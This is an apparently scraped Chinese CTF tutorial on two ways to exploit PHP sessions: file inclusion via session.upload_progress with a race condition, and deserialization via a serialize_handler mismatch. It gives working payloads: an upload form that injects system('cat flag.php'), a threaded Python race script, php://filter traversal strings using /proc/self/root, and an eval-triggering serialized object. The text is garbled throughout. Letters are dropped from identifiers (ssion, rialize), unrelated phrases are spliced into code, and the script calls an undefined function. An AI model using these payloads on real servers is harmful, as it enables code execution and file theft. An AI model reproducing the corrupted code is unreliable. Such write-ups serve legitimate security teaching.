做题的时候经常考到ssion利用,常见的基本就两种,ssion文件包含和ssion反序列化,之前没有详细总结过,就写写吧。
ssion的相关配置
ssion.upload_progress.ena小径分叉的花园bled = on//enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在ssion当中 ;ssion.upload_progress.prefix = "upload_progress_"//将表示为ssion中的键名ssion.upload_progress.name = "php_ssion_upload_progress" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!ssion.u_strict_mode = off //这个选项默认值为off,表示我们对cookie中ssionid可控!!!ssion.save_path = /var/lib/php/ssions //ssion的存贮位置,默认还有一个 /tmp/目录
当ssion相关配置如上的时候,我们可以利用ssion.upload_progress
将恶意语句写入ssion文件,从而包含ssion文件。
平常,当我们要创建ssion时往往会在php代码里写ssion_start()
,但我们不写的话,也是可以创建的。
比如,在php.ini中设置ssion.auto_start=on
的情况下,php在接收请求的时候会自动初始化ssion,不需要执行ssion_start()
。但默认状态下,这个选项是默认关闭的。
不过幸好,ssion还有一个默认选项,ssion.u_strict_mode
默认值为0。
这样用户是可以自己定义ssion id的。比如,我们在cookie里设置phpssid=andynoel,就会在服务器/tmp
目录下或者/var/lib/php/ssions/
目录下创建一个文件:ss_andynoel。即便没有设置自动初始化ssion,php也会产生ssion,并生成一个键值,这个键值由ini.get("ssion.upload_progress.prefix")
+我们构造的ssion.upload_progress.name
值组成,最后被一起写入ss_文件里。
<?phphighlight_file(__file__);require_once 'flag.php';if(ist($_get['file'])) { require_once $_get['file'];}//plea hack me with your 0day!
很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往ssion里面写入恶意内容,然后包含它。
按照上面说的思路创建好ssion后,问题又来了,那就是在php.ini往往还有一条设置
ssion.upload_progress.cleanup = on//表示当文件上传结束后,php将会立即清空对应ssion文件中的内容
默认配置ssion.upload_progress.cleanup = on
导致文件上传后,ssion文件内容立即清空,清空了就没办法利用了。我们要想办法把ssion留在里面,所以就要利用条件竞争,在ssion文件内容清空前进行文件包含利用。
可以在本地写一个上传页面,然后抓包添加cookie: phpssid=andynoel
,再用burpsuite爆破
<!doctype html><html><body><form action="http://localhost/index.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="php_ssion_upload_progress" value="<?php system('cat flag.php');?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /></form></body></html>
一边不断发包请求包含恶意的ssion,一边不断发包以维持恶意ssion存储。这样就可以利用条件竞争把恶意内容留在ssion里面了。
原理和上面的差不多,但是我们直接编写脚本,写shell、取flag一把梭出来,用不着那么麻烦了
import ioimport sysimport requestsimport threadingssid = 'andynoel'def write(ssion): while true: f = io.bytesio(b'a' * 1024 * 50) ssion.post( 乌拉圭国家队阵容 'http://localhost/index.php', data={"php_ssion_upload_progress":"<?php system('cat flag.php');?>"}, files={"file":('1.txt', f)}, cookies={'phpssid':ssid} )def read(惜其用武而不终也ssion): while true: resp = ssion.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/ss_{ssid}') if 'flag{' in resp.text: print(resp.text) sys.exit(0) el: print('thinking[+++++++]')with requests.ssion() as ssion: t1 = threading.thread(target=post, args=(ssion, )) t1.daemon = true t1.start() read(ssion)
在这里有个小知识点,/proc/lf
指向当前进程的/proc/pid/
,/proc/lf/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
payload:?file=php://filter/convert.ba64-encode/resource=/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/proc/lf/root/var/www/html/flag.php
另外一个payload
?file=php://filter/convert.ba64-encode/resource=/nice/../../proc/lf/cwd/flag.php
选择不同的处理器,处理方式也不一样,如果序列化和储存ssion与反序列化的方式不同,就有可能导致漏洞的产生。
<?phpini_t('ssion.rialize_handler', 'php');ssion_start();class oowoo{ public $mdzz; function __construct() { $this->mdzz在职硕士报名条件 = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(ist($_get['phpinfo'])){ $m = new oowoo();}el{ highlight_string(file_get_contents('index.php'));}?>
如果只看php代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?ssion.rialize_handler
ssion.rialize_handler (string)
用来定义序列化/反序列化的处理器名字。 当前支持 php 序列化格式 (名为 php_rialize)、 php php 内部格式 (名为 php 及 php_binary) 和 wddx (名为 wddx)。 如果 php 编译时加入了wddx 支持,则只能用 wddx。php_rialize
在内部简单地直接使用rialize/unrialize
函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_ssion 的索引既不能是数字也不能包含特殊字符(| and !) 。
可以看一下这个题目环境的phpinfo,在ssion部分
默认ssion.rialize_handler
为php_rialize
,而这里却设置为php:
这样就很明显了,因为处理器对应的处理格式不同导致出现ssion反序列化漏洞
但还是不够,因为我们还是没办法控制变量,翻看php手册有个有意思的地方:
既然如此,我们可以去看看有关ssion的php.ini的设置
ession.upload_progress.enabled = on
ssion.upload_progress.name = php_ssion_upload_progress
设置是这样的话,我们就可以构造反序列化了。
<?phpclass oowoo{ public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的}$obj = new oowoo();echo rialize($obj);?>
o:5:"oowoo":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
为了防止双引号转义,所以要处理一下,在双引号前三八放假是法定的吗面加\
,所以应该是这样
o:5:\"oowoo\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
然后自己本地写一个提交页面:
<form action="http://localhost/index.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="php_ssion_upload_progress" value="adnl" /> <input type="file" name="file" /> <input type="submit" /></form>
抓包修改,在序列化的字符串前加 |,提交即可。
ssion有关的安全性问题主要是文件包含和反序列化两个利用点,利用php_ssion_upload_progress
可以绕过大部分过滤。
以上就是php网络安全ssion利用的小思路的详细内容,更多关于php网络安全ssion利用的资料请关注www.887551.com其它相关文章!
本文发布于:2023-04-04 23:55:52,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/3f8f07862a657bc5748c704fcb1f59b0.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:php网络安全session利用的小思路.doc
本文 PDF 下载地址:php网络安全session利用的小思路.pdf
留言与评论(共有 0 条评论) |